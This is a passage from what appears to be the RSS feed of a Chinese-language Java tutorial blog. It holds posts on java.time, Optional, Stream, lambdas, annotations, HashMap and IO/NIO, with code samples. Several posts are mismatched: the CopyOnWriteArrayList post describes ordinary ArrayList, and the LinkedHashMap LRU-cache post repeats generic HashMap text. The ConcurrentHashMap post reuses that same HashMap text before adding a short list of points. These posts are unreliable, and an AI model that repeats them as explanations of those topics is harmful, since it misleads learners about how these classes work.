Calendar cal = Calendar.getInstance();
ZonedDateTime zdt = cal.toInstant().atZone(cal.getTimeZone().toZoneId());

线程安全

所有 java.time 类都是不可变且线程安全的：

// 可以安全地共享
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd");

// 多线程并发使用
ExecutorService executor = Executors.newFixedThreadPool(10);
for (int i = 0; i < 100; i++) {
    executor.submit(() -> {
        String formatted = LocalDate.now().format(formatter);
        System.out.println(formatted);
    });
}

最佳实践

  1. 新代码全部使用 java.time：不再使用 Date/Calendar
  2. 数据库映射：JPA 2.2+ 支持 java.time 类型
  3. JSON 序列化：配置 Jackson/Gson 支持 JSR-310
  4. API 设计：方法参数使用 LocalDate/LocalDateTime 而非 String
// Jackson 支持
ObjectMapper mapper = new ObjectMapper();
mapper.registerModule(new JavaTimeModule());
mapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);

总结

Java 8 时间 API 的设计原则：

  • 清晰分离：日期、时间、日期时间、时区各自独立
  • 不可变性：所有对象不可修改，线程安全
  • 方法命名一致：plusXxx、minusXxx、withXxx

掌握 java.time 包是现代 Java 开发的基本要求，它能让你避免大量时间处理相关的 Bug。

]]> Java基础 学习笔记 Java Optional优雅处理空值问题 //optional-you-ya-chu-li-kong-zhi-wen-ti/ Optional优雅处理空值问题

Optional 是 Java 8 引入的容器类，用于表示可能为空的值。本文讲解其正确用法和常见误区。

为什么需要 Optional

传统空值处理的问题：

// 多层嵌套判空
String city = user.getAddress().getCity();  // 可能NPE

// 防御式编程导致代码臃肿
String city = null;
if (user != null) {
    Address address = user.getAddress();
    if (address != null) {
        city = address.getCity();
    }
}

Optional 基本用法

创建 Optional

// 非空值
Optional<String> opt1 = Optional.of("hello");  // null会抛NPE

// 可能为null的值
Optional<String> opt2 = Optional.ofNullable(getString());

// 空Optional
Optional<String> opt3 = Optional.empty();

获取值

Optional<String> opt = Optional.of("hello");

// 直接获取（为空时抛NoSuchElementException）
String val1 = opt.get();

// 提供默认值
String val2 = opt.orElse("default");

// 延迟计算默认值
String val3 = opt.orElseGet(() -> expensiveOperation());

// 为空时抛出异常
String val4 = opt.orElseThrow(() -> new NotFoundException());

条件操作

Optional<String> opt = Optional.of("hello");

// 值存在时执行
opt.ifPresent(System.out::println);

// 值存在时转换，否则返回空
Optional<String> upper = opt.map(String::toUpperCase);

// 值存在时返回新的Optional
Optional<String> result = opt.flatMap(this::findByName);

// 过滤
Optional<String> filtered = opt.filter(s -> s.length() > 3);

实战场景

1. 链式调用避免嵌套

// 传统写法
String city = null;
if (user != null && user.getAddress() != null) {
    city = user.getAddress().getCity();
}

// Optional 写法
String city = Optional.ofNullable(user)
    .map(User::getAddress)
    .map(Address::getCity)
    .orElse("Unknown");

2. 方法返回值

// 好的设计：返回Optional表示可能为空
public Optional<User> findById(Long id) {
    User user = userDao.findById(id);
    return Optional.ofNullable(user);
}

// 调用方明确处理空值
User user = findById(1L)
    .orElseThrow(() -> new UserNotFoundException(1L));

3. 异常转换

Optional.ofNullable(user)
    .filter(u -> u.getStatus() == Status.ACTIVE)
    .orElseThrow(() -> new IllegalStateException("用户未激活"));

常见误区

1. Optional 作为字段

// 错误！Optional不是为字段设计的
public class User {
    private Optional<String> nickname;  // 不要这样做
}

// 正确：字段直接用null表示空
public class User {
    private String nickname;
    
    public Optional<String> getNickname() {
        return Optional.ofNullable(nickname);
    }
}

2. Optional 作为方法参数

// 错误！参数类型不应是Optional
public void process(Optional<String> name) { ... }

// 正确：重载方法
public void process(String name) {
    process(name, false);
}

public void process(String name, boolean uppercase) { ... }

3. isPresent + get 的组合

// 错误！回到了if-null的模式
if (opt.isPresent()) {
    String val = opt.get();
    // ...
}

// 正确：使用ifPresent
opt.ifPresent(val -> {
    // ...
});

// 或map/filter
opt.map(...).filter(...).orElse(...);

4. 默认值为null

// 错误！失去了Optional的意义
String val = opt.orElse(null);

// 正确：提供有意义的默认值
String val = opt.orElse("");

Optional 与 Stream 结合

List<Optional<String>> optionals = Arrays.asList(
    Optional.of("a"),
    Optional.empty(),
    Optional.of("b")
);

// 过滤空值并收集
List<String> results = optionals.stream()
    .flatMap(Optional::stream)  // Java 9+
    .collect(Collectors.toList());
// 结果: ["a", "b"]

// Java 8 写法
List<String> results = optionals.stream()
    .filter(Optional::isPresent)
    .map(Optional::get)
    .collect(Collectors.toList());

性能考量

Optional 是对象，有创建开销：

// 简单场景直接返回null更好
public String findName() {
    return condition ? "name" : null;  // 比Optional更高效
}

// 复杂链式操作使用Optional
public String findCity() {
    return Optional.ofNullable(user)
        .map(User::getAddress)
        .map(Address::getCity)
        .orElse("Unknown");
}

最佳实践

  1. 作为返回值：明确表示方法可能不返回结果
  2. 不用于字段：字段用null，通过getter返回Optional
  3. 不用于参数：使用重载或Builder模式
  4. 避免isPresent + get：使用函数式操作
  5. 不提供null默认值：默认值应是有意义的值
// 优秀的API设计
public class UserService {
    // 可能找不到用户，返回Optional
    public Optional<User> findById(Long id) { ... }
    
    // 用户必须存在，找不到抛异常
    public User getById(Long id) { ... }
}

总结

Optional 是处理空值的优雅方案，但不是银弹。正确使用它能提高代码可读性和安全性，滥用则会导致性能问题和代码冗余。记住：Optional 是用于返回值的，不是用于字段和参数的。

]]> Java基础 学习笔记 Java CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Stream流式编程的最佳实践 //stream-liu-shi-bian-cheng-de-zui-jia-shi-jian/ Stream流式编程的最佳实践

Java 8 Stream API 提供了函数式风格的集合操作方式。本文从基础到高级，全面讲解 Stream 的正确用法和优化技巧。

Stream 核心概念

Stream 是对集合对象功能的增强，专注于对集合对象进行各种便利、高效的聚合操作。

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6);

List<Integer> result = numbers.stream()
    .filter(n -> n % 2 == 0)   // 过滤偶数
    .map(n -> n * n)            // 平方
    .collect(Collectors.toList());  // 收集结果
// 结果: [4, 16, 36]

Stream 操作分类

中间操作（Intermediate）

返回新的 Stream，惰性执行：

操作说明
filter过滤元素
map一对一映射
flatMap扁平化映射
distinct去重
sorted排序
peek查看元素（调试）
limit截断
skip跳过

终结操作（Terminal）

触发实际计算：

操作说明
forEach遍历消费
collect收集到集合
reduce归约计算
count计数
anyMatch/allMatch/noneMatch匹配判断
findFirst/findAny查找元素
min/max最值

创建 Stream 的多种方式

// 从集合创建
List<String> list = Arrays.asList("a", "b", "c");
Stream<String> stream1 = list.stream();         // 串行
Stream<String> stream2 = list.parallelStream(); // 并行

// 从数组创建
Stream<String> stream3 = Arrays.stream(new String[]{"a", "b"});

// 从值创建
Stream<String> stream4 = Stream.of("a", "b", "c");

// 无限流
Stream<Integer> infinite = Stream.iterate(0, n -> n + 2);
Stream<Integer> limited = Stream.iterate(0, n -> n + 2).limit(100);

// 生成器
Stream<Double> random = Stream.generate(Math::random).limit(10);

// 空流
Stream<String> empty = Stream.empty();

// 拼接流
Stream<String> concat = Stream.concat(stream1, stream2);

常用操作详解

map vs flatMap

// map：一对一
List<String> upper = names.stream()
    .map(String::toUpperCase)
    .collect(Collectors.toList());

// flatMap：一对多，扁平化
List<List<Integer>> nested = Arrays.asList(
    Arrays.asList(1, 2),
    Arrays.asList(3, 4)
);

List<Integer> flat = nested.stream()
    .flatMap(List::stream)
    .collect(Collectors.toList());
// 结果: [1, 2, 3, 4]

reduce 归约

// 求和
int sum = numbers.stream()
    .reduce(0, Integer::sum);

// 拼接字符串
String joined = names.stream()
    .reduce("", (a, b) -> a + "," + b);

// 求最大值
Optional<Integer> max = numbers.stream()
    .reduce(Integer::max);

collect 收集器

// 收集到List
List<String> list = stream.collect(Collectors.toList());

// 收集到Set
Set<String> set = stream.collect(Collectors.toSet());

// 收集到Map
Map<Long, String> map = users.stream()
    .collect(Collectors.toMap(User::getId, User::getName));

// 分组
Map<String, List<User>> group = users.stream()
    .collect(Collectors.groupingBy(User::getDepartment));

// 分区
Map<Boolean, List<Integer>> partition = numbers.stream()
    .collect(Collectors.partitioningBy(n -> n % 2 == 0));

// 统计
IntSummaryStatistics stats = numbers.stream()
    .collect(Collectors.summarizingInt(Integer::intValue));
// stats.getAverage(), stats.getMax(), stats.getCount()

// 连接字符串
String joined = names.stream()
    .collect(Collectors.joining(", ", "[", "]"));
// 结果: [Alice, Bob, Charlie]

并行流注意事项

List<Integer> numbers = new ArrayList<>();
// 填充大量数据

// 使用并行流
numbers.parallelStream()
    .map(n -> heavyComputation(n))
    .collect(Collectors.toList());

适合并行流的场景

  1. 数据量大（通常 > 10,000 条）
  2. 计算密集型操作
  3. 无状态、无副作用

不适合并行流的场景

  1. 数据量小（线程切换开销 > 并行收益）
  2. 需要严格顺序保证（forEachOrdered 性能差）
  3. 涉及共享可变状态
// 错误！并发修改共享变量
List<Integer> result = new ArrayList<>();
numbers.parallelStream().forEach(result::add);  // 可能丢数据

// 正确：使用collect合并结果
List<Integer> result = numbers.parallelStream()
    .collect(Collectors.toList());

性能优化技巧

1. 优先使用基本类型 Stream

// 有装箱开销
Stream<Integer> boxed = list.stream();
int sum1 = boxed.reduce(0, Integer::sum);

// 无装箱，性能更好
IntStream primitive = list.stream().mapToInt(Integer::intValue);
int sum2 = primitive.sum();

2. 短路操作提前返回

// 找到第一个匹配即停止
Optional<String> first = list.stream()
    .filter(s -> s.startsWith("A"))
    .findFirst();  // 短路操作

3. 避免重复遍历

// 错误：遍历两次
long count = list.stream().filter(...).count();
List<String> result = list.stream().filter(...).collect(...);

// 正确：收集后获取大小
List<String> result = list.stream().filter(...).collect(...);
long count = result.size();

常见陷阱

1. Stream 只能消费一次

Stream<String> stream = list.stream();
stream.forEach(System.out::println);
stream.filter(s -> s.length() > 3);  // IllegalStateException!

2. 不要在 Stream 中修改源数据

// 错误：ConcurrentModificationException
List<String> list = new ArrayList<>();
list.stream().forEach(list::remove);

// 正确：使用removeIf
list.removeIf(s -> s.length() < 3);

3. 注意空值处理

// 可能NPE
List<String> result = list.stream()
    .map(s -> s.toUpperCase())  // s可能为null
    .collect(Collectors.toList());

// 安全写法
List<String> result = list.stream()
    .filter(Objects::nonNull)
    .map(String::toUpperCase)
    .collect(Collectors.toList());

最佳实践总结

  1. 优先使用 Stream：替代传统 for 循环，代码更简洁
  2. 方法引用优于 Lambda：可读性更好
  3. 注意并行流的前提条件：数据量大 + 无共享状态
  4. 不要滥用 Stream：简单场景直接 for-each
  5. 避免在 Stream 中修改外部状态：保持函数式纯净
// 好的写法：声明式、简洁
Map<String, List<Employee>> byDept = employees.stream()
    .filter(e -> e.getSalary() > 50000)
    .sorted(Comparator.comparing(Employee::getName))
    .collect(Collectors.groupingBy(Employee::getDepartment));

掌握 Stream API 是现代 Java 开发的必备技能，它能显著提升代码的简洁性和可读性。

]]> Java基础 学习笔记 Java LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 Lambda表达式与函数式接口 //lambda-biao-da-shi-yu-han-shu-shi-jie-kou/ Lambda表达式与函数式接口

Lambda 表达式是 Java 8 引入的最重要的语法特性，它让 Java 支持函数式编程风格。本文从基础语法到高级应用进行全面讲解。

Lambda 基础语法

// 传统匿名内部类
Runnable runnable = new Runnable() {
    @Override
    public void run() {
        System.out.println("Hello");
    }
};

// Lambda 表达式
Runnable runnable = () -> System.out.println("Hello");

语法格式

// 无参数
() -> expression

// 单参数
x -> x * 2

// 多参数
(x, y) -> x + y

// 多行语句
(x, y) -> {
    int sum = x + y;
    return sum;
}

函数式接口

函数式接口是只有一个抽象方法的接口：

@FunctionalInterface
public interface Predicate<T> {
    boolean test(T t);
}

核心函数式接口

接口方法签名用途
Predicateboolean test(T t)断言/过滤
Function<T,R>R apply(T t)转换
Consumervoid accept(T t)消费
SupplierT get()供给
UnaryOperatorT apply(T t)一元操作
BinaryOperatorT apply(T t1, T t2)二元操作

使用示例

List<String> names = Arrays.asList("Alice", "Bob", "Charlie");

// Predicate：过滤
List<String> longNames = names.stream()
    .filter(name -> name.length() > 3)
    .collect(Collectors.toList());

// Function：映射
List<Integer> lengths = names.stream()
    .map(name -> name.length())
    .collect(Collectors.toList());

// Consumer：遍历
names.forEach(name -> System.out.println(name));

// Supplier：延迟创建
Supplier<List<String>> listSupplier = () -> new ArrayList<>();

方法引用

当 Lambda 体只是调用一个已有方法时，可以使用方法引用：

// 静态方法引用
Function<Integer, String> toString = String::valueOf;

// 实例方法引用（特定对象）
String prefix = "Hello, ";
Function<String, String> addPrefix = prefix::concat;

// 实例方法引用（任意对象）
Function<String, Integer> getLength = String::length;

// 构造方法引用
Supplier<List<String>> createList = ArrayList::new;
Function<Integer, List<String>> createListWithSize = ArrayList::new;

常用场景

1. 集合操作

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

// 过滤 + 映射 + 归约
int sum = numbers.stream()
    .filter(n -> n % 2 == 0)
    .map(n -> n * n)
    .reduce(0, Integer::sum);

2. 排序

List<Person> people = getPeople();

// 按年龄升序
people.sort(Comparator.comparing(Person::getAge));

// 按年龄降序
people.sort(Comparator.comparing(Person::getAge).reversed());

// 多字段排序
people.sort(Comparator.comparing(Person::getAge)
    .thenComparing(Person::getName));

3. 线程创建

// 旧方式
new Thread(new Runnable() {
    @Override
    public void run() {
        System.out.println("Running");
    }
}).start();

// Lambda 方式
new Thread(() -> System.out.println("Running")).start();

闭包与变量捕获

Lambda 可以捕获外部变量，但必须是 final 或 effectively final：

int factor = 2;

// 正确：factor 未被修改
Function<Integer, Integer> multiplier = x -> x * factor;

// 错误：factor 被修改
factor = 3;  // 编译错误

注意：捕获的是值，不是引用。对于对象，引用本身不能变，但对象状态可以变。

复合函数

Function<Integer, Integer> addOne = x -> x + 1;
Function<Integer, Integer> multiplyByTwo = x -> x * 2;

// 先执行 addOne，再执行 multiplyByTwo
Function<Integer, Integer> combined = addOne.andThen(multiplyByTwo);
// 3 -> addOne(3) = 4 -> multiplyByTwo(4) = 8

// 先执行 multiplyByTwo，再执行 addOne
Function<Integer, Integer> composed = addOne.compose(multiplyByTwo);
// 3 -> multiplyByTwo(3) = 6 -> addOne(6) = 7

自定义函数式接口

@FunctionalInterface
public interface ThrowingConsumer<T, E extends Exception> {
    void accept(T t) throws E;
}

// 包装带异常的 Lambda
public static <T, E extends Exception> Consumer<T> wrap(
        ThrowingConsumer<T, E> throwingConsumer) {
    return t -> {
        try {
            throwingConsumer.accept(t);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    };
}

// 使用
list.forEach(wrap(item -> {
    // 可能抛出异常的操作
    Files.write(path, item.getBytes());
}));

性能考量

Lambda 并非语法糖，编译后生成 invokedynamic 字节码：

// 编译后使用 invokedynamic
invokedynamic #0:accept:()Ljava/util/function/Consumer;

优势：

  • 运行时动态绑定，JVM 可以内联优化
  • 避免每次创建匿名类实例

最佳实践

  1. 保持简洁：Lambda 体不宜过长，复杂逻辑提取为方法
  2. 使用方法引用：可读性更好
  3. 避免副作用：不要在 Lambda 中修改外部状态
  4. 类型推断：通常不需要显式声明参数类型
  5. 链式操作：Stream API 结合 Lambda 使用
// 差的写法
list.stream().forEach(item -> {
    if (item.isActive()) {
        item.process();
        log.info("Processed: " + item.getId());
    }
});

// 好的写法
list.stream()
    .filter(Item::isActive)
    .peek(item -> log.info("Processing: " + item.getId()))
    .forEach(Item::process);

总结

Lambda 表达式让 Java 代码更加简洁和函数式。配合 Stream API，可以大幅减少样板代码，提高可读性。掌握函数式接口和方法引用，是写出现代化 Java 代码的关键。

]]> Java基础 学习笔记 Java ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 Java注解与元注解的实现原理 //java-zhu-jie-yu-yuan-zhu-jie-de-shi-xian-yuan-li/ Java注解与元注解的实现原理

注解（Annotation）是 Java 5 引入的元数据机制，广泛应用于框架开发、代码生成和编译期检查。本文从基础用法到实现原理进行全面讲解。

注解的基本定义

// 自定义注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface LogExecution {
    String value() default "";
    boolean printParams() default true;
}

四大元注解

1. @Target：使用位置

public enum ElementType {
    TYPE,           // 类、接口、枚举
    FIELD,          // 字段
    METHOD,         // 方法
    PARAMETER,      // 参数
    CONSTRUCTOR,    // 构造器
    LOCAL_VARIABLE, // 局部变量
    ANNOTATION_TYPE,// 注解
    PACKAGE,        // 包
    TYPE_PARAMETER, // 泛型参数（JDK 8+）
    TYPE_USE        // 类型使用（JDK 8+）
}

2. @Retention：保留策略

策略说明典型应用
SOURCE编译期丢弃@Override, @SuppressWarnings
CLASS保留到字节码，运行期丢弃默认策略，少见
RUNTIME运行期保留，可通过反射读取@Autowired, @RequestMapping

3. @Documented

包含在 Javadoc 中：

@Documented
public @interface ApiDoc {
    String description();
}

4. @Inherited

子类自动继承父类注解：

@Inherited
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface ParentAnnotation { }

@ParentAnnotation
public class Parent { }

public class Child extends Parent {
    // Child也拥有@ParentAnnotation
}

注解的底层实现

编译后的注解

注解本质是一个继承 java.lang.annotation.Annotation 的接口：

// 编译后
public interface LogExecution extends Annotation {
    String value();
    boolean printParams();
}

JDK 动态代理生成

当通过反射获取注解时，JDK 会生成动态代理：

Method method = clazz.getDeclaredMethod("doSomething");
LogExecution annotation = method.getAnnotation(LogExecution.class);

// 实际返回的是代理对象
System.out.println(annotation.getClass());  // class com.sun.proxy.$Proxy1

代理类将方法调用转发给 AnnotationInvocationHandler：

class AnnotationInvocationHandler implements InvocationHandler {
    private final Map<String, Object> memberValues;
    
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Object value = memberValues.get(member);
        // 返回注解属性值
        return value;
    }
}

反射读取注解

类级别注解

// 检查是否存在
boolean hasAnnotation = clazz.isAnnotationPresent(Service.class);

// 获取注解
Service service = clazz.getAnnotation(Service.class);
String name = service.value();

方法级别注解

for (Method method : clazz.getDeclaredMethods()) {
    if (method.isAnnotationPresent(Transactional.class)) {
        Transactional tx = method.getAnnotation(Transactional.class);
        System.out.println("超时时间: " + tx.timeout());
    }
}

重复注解（JDK 8+）

// 定义容器注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Roles {
    Role[] value();
}

// 定义可重复注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Repeatable(Roles.class)
public @interface Role {
    String value();
}

// 使用
@Role("ADMIN")
@Role("USER")
public void doSomething() { }

实际应用场景

1. 日志切面

@Aspect
@Component
public class LogAspect {
    
    @Around("@annotation(logExecution)")
    public Object around(ProceedingJoinPoint pjp, LogExecution logExecution) throws Throwable {
        long start = System.currentTimeMillis();
        Object result = pjp.proceed();
        long cost = System.currentTimeMillis() - start;
        
        System.out.println("方法 " + pjp.getSignature().getName() + 
                          " 执行耗时: " + cost + "ms");
        return result;
    }
}

2. 参数校验

@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
public @interface NotNull {
    String message() default "字段不能为空";
}

// 校验器
public class Validator {
    public static void validate(Object obj) throws IllegalAccessException {
        for (Field field : obj.getClass().getDeclaredFields()) {
            field.setAccessible(true);
            if (field.isAnnotationPresent(NotNull.class) && field.get(obj) == null) {
                NotNull notNull = field.getAnnotation(NotNull.class);
                throw new ValidationException(notNull.message());
            }
        }
    }
}

3. ORM 映射

@Entity
@Table(name = "t_user")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    @Column(name = "user_name", length = 50)
    private String username;
}

注解处理器（APT）

编译期处理注解，生成代码：

@SupportedAnnotationTypes("com.example.AutoGenerate")
@SupportedSourceVersion(SourceVersion.RELEASE_11)
public class AutoGenerateProcessor extends AbstractProcessor {
    
    @Override
    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
        for (Element element : roundEnv.getElementsAnnotatedWith(AutoGenerate.class)) {
            // 生成代码
            generateCode(element);
        }
        return true;
    }
}

知名应用：

  • Lombok：编译期生成 getter/setter
  • Dagger：编译期生成依赖注入代码
  • MapStruct：编译期生成对象映射代码

总结

  1. 注解是接口：编译后继承 Annotation
  2. 运行期通过代理访问：JDK 动态代理生成注解实例
  3. 元注解控制行为：Target、Retention、Documented、Inherited
  4. 反射是读取注解的主要方式：getAnnotation、isAnnotationPresent
  5. APT 实现编译期处理：代码生成、编译期检查

注解机制是 Java 框架开发的基石，Spring、JPA、JUnit 等都重度依赖注解实现声明式编程。

]]> Java基础 学习笔记 Java HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 Java IO与NIO的核心区别 //java-io-yu-nio-de-he-xin-qu-bie/ Java IO与NIO的核心区别

Java 提供了三套 IO API：BIO（Blocking IO）、NIO（New IO）和 NIO.2（JDK 7+）。理解它们的差异对于高并发网络编程至关重要。

BIO：传统阻塞IO

// 服务端
ServerSocket server = new ServerSocket(8080);
while (true) {
    Socket socket = server.accept();  // 阻塞等待连接
    new Thread(() -> {
        try {
            InputStream in = socket.getInputStream();
            byte[] buf = new byte[1024];
            int len;
            while ((len = in.read(buf)) != -1) {  // 阻塞等待数据
                // 处理数据
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }).start();
}

特点：

  • 一个连接一个线程
  • 简单易用，适合连接数少的场景
  • 线程上下文切换开销大

NIO：非阻塞IO

NIO 三大核心组件：

1. Buffer（缓冲区）

ByteBuffer buffer = ByteBuffer.allocate(1024);

// 写入数据到Buffer
buffer.put("hello".getBytes());

// 切换为读模式
buffer.flip();

// 从Buffer读取数据
while (buffer.hasRemaining()) {
    byte b = buffer.get();
}

// 清空Buffer，切换为写模式
buffer.clear();

Buffer 状态变量：

  • position：当前读/写的位置
  • limit：读/写的上限
  • capacity：Buffer 的容量

2. Channel（通道）

Channel 是双向的，不同于 Stream 的单向：

// 文件通道
FileChannel channel = new FileInputStream("file.txt").getChannel();
ByteBuffer buffer = ByteBuffer.allocate(1024);
channel.read(buffer);  // 从Channel读到Buffer

// Socket通道
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress("localhost", 8080));
socketChannel.configureBlocking(false);  // 设置为非阻塞

3. Selector（选择器）

Selector 允许单线程管理多个 Channel：

Selector selector = Selector.open();
ServerSocketChannel serverChannel = ServerSocketChannel.open();
serverChannel.bind(new InetSocketAddress(8080));
serverChannel.configureBlocking(false);
serverChannel.register(selector, SelectionKey.OP_ACCEPT);

while (true) {
    selector.select();  // 阻塞等待就绪事件
    Set<SelectionKey> keys = selector.selectedKeys();
    Iterator<SelectionKey> it = keys.iterator();
    
    while (it.hasNext()) {
        SelectionKey key = it.next();
        if (key.isAcceptable()) {
            SocketChannel client = serverChannel.accept();
            client.configureBlocking(false);
            client.register(selector, SelectionKey.OP_READ);
        } else if (key.isReadable()) {
            SocketChannel client = (SocketChannel) key.channel();
            ByteBuffer buf = ByteBuffer.allocate(1024);
            client.read(buf);
            // 处理数据
        }
        it.remove();
    }
}

NIO.2：异步IO（JDK 7+）

Path path = Paths.get("file.txt");

// 异步文件通道
AsynchronousFileChannel channel = AsynchronousFileChannel.open(path);
ByteBuffer buffer = ByteBuffer.allocate(1024);

// 异步读取，通过回调处理结果
channel.read(buffer, 0, buffer, new CompletionHandler<Integer, ByteBuffer>() {
    @Override
    public void completed(Integer result, ByteBuffer attachment) {
        System.out.println("读取了 " + result + " 字节");
    }
    
    @Override
    public void failed(Throwable exc, ByteBuffer attachment) {
        exc.printStackTrace();
    }
});

三者对比

特性BIONIONIO.2 (AIO)
IO模型阻塞非阻塞异步
线程数1连接1线程1线程管理多连接回调驱动
编程复杂度简单较复杂中等
适用场景连接少、并发低连接多、并发高超大量连接
典型应用Tomcat传统模式Netty少见

直接内存 vs 堆内存

// 堆内存Buffer（受GC管理）
ByteBuffer heapBuffer = ByteBuffer.allocate(1024);

// 直接内存Buffer（不受GC管理，零拷贝）
ByteBuffer directBuffer = ByteBuffer.allocateDirect(1024);

直接内存特点：

  • 读写速度快（避免 JVM 堆与 Native 堆之间的数据复制）
  • 分配和回收成本高
  • 适合长时间存活的大 Buffer

零拷贝（Zero Copy）

传统文件传输：

磁盘 → 内核缓冲区 → 用户缓冲区 → Socket缓冲区 → 网卡
（4次拷贝，4次上下文切换）

NIO 零拷贝（FileChannel.transferTo）：

FileChannel source = new FileInputStream("source.txt").getChannel();
SocketChannel dest = SocketChannel.open();

source.transferTo(0, source.size(), dest);
// 磁盘 → 内核缓冲区 → 网卡
//（2次拷贝，2次上下文切换）

实际应用

Netty 的线程模型

EventLoopGroup bossGroup = new NioEventLoopGroup(1);   // 接收连接
EventLoopGroup workerGroup = new NioEventLoopGroup();  // 处理IO

ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(bossGroup, workerGroup)
    .channel(NioServerSocketChannel.class)
    .childHandler(new ChannelInitializer<SocketChannel>() {
        @Override
        protected void initChannel(SocketChannel ch) {
            ch.pipeline().addLast(new HttpServerCodec());
            ch.pipeline().addLast(new HttpObjectAggregator(65536));
            ch.pipeline().addLast(new MyHandler());
        }
    });

Netty 基于 NIO 实现，采用 Reactor 模式：

  • Boss EventLoop：处理 Accept 事件
  • Worker EventLoop：处理 Read/Write 事件

总结

场景推荐方案
简单文件读写BIO（Files.readAllLines）
高并发网络服务NIO（Netty）
需要零拷贝的文件传输FileChannel.transferTo
超大量并发连接NIO + 多 Reactor

理解 IO 模型是编写高性能 Java 应用的基础。对于现代高并发服务，基于 NIO 的 Netty 几乎是标准选择。

]]> Java基础 学习笔记 Java ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

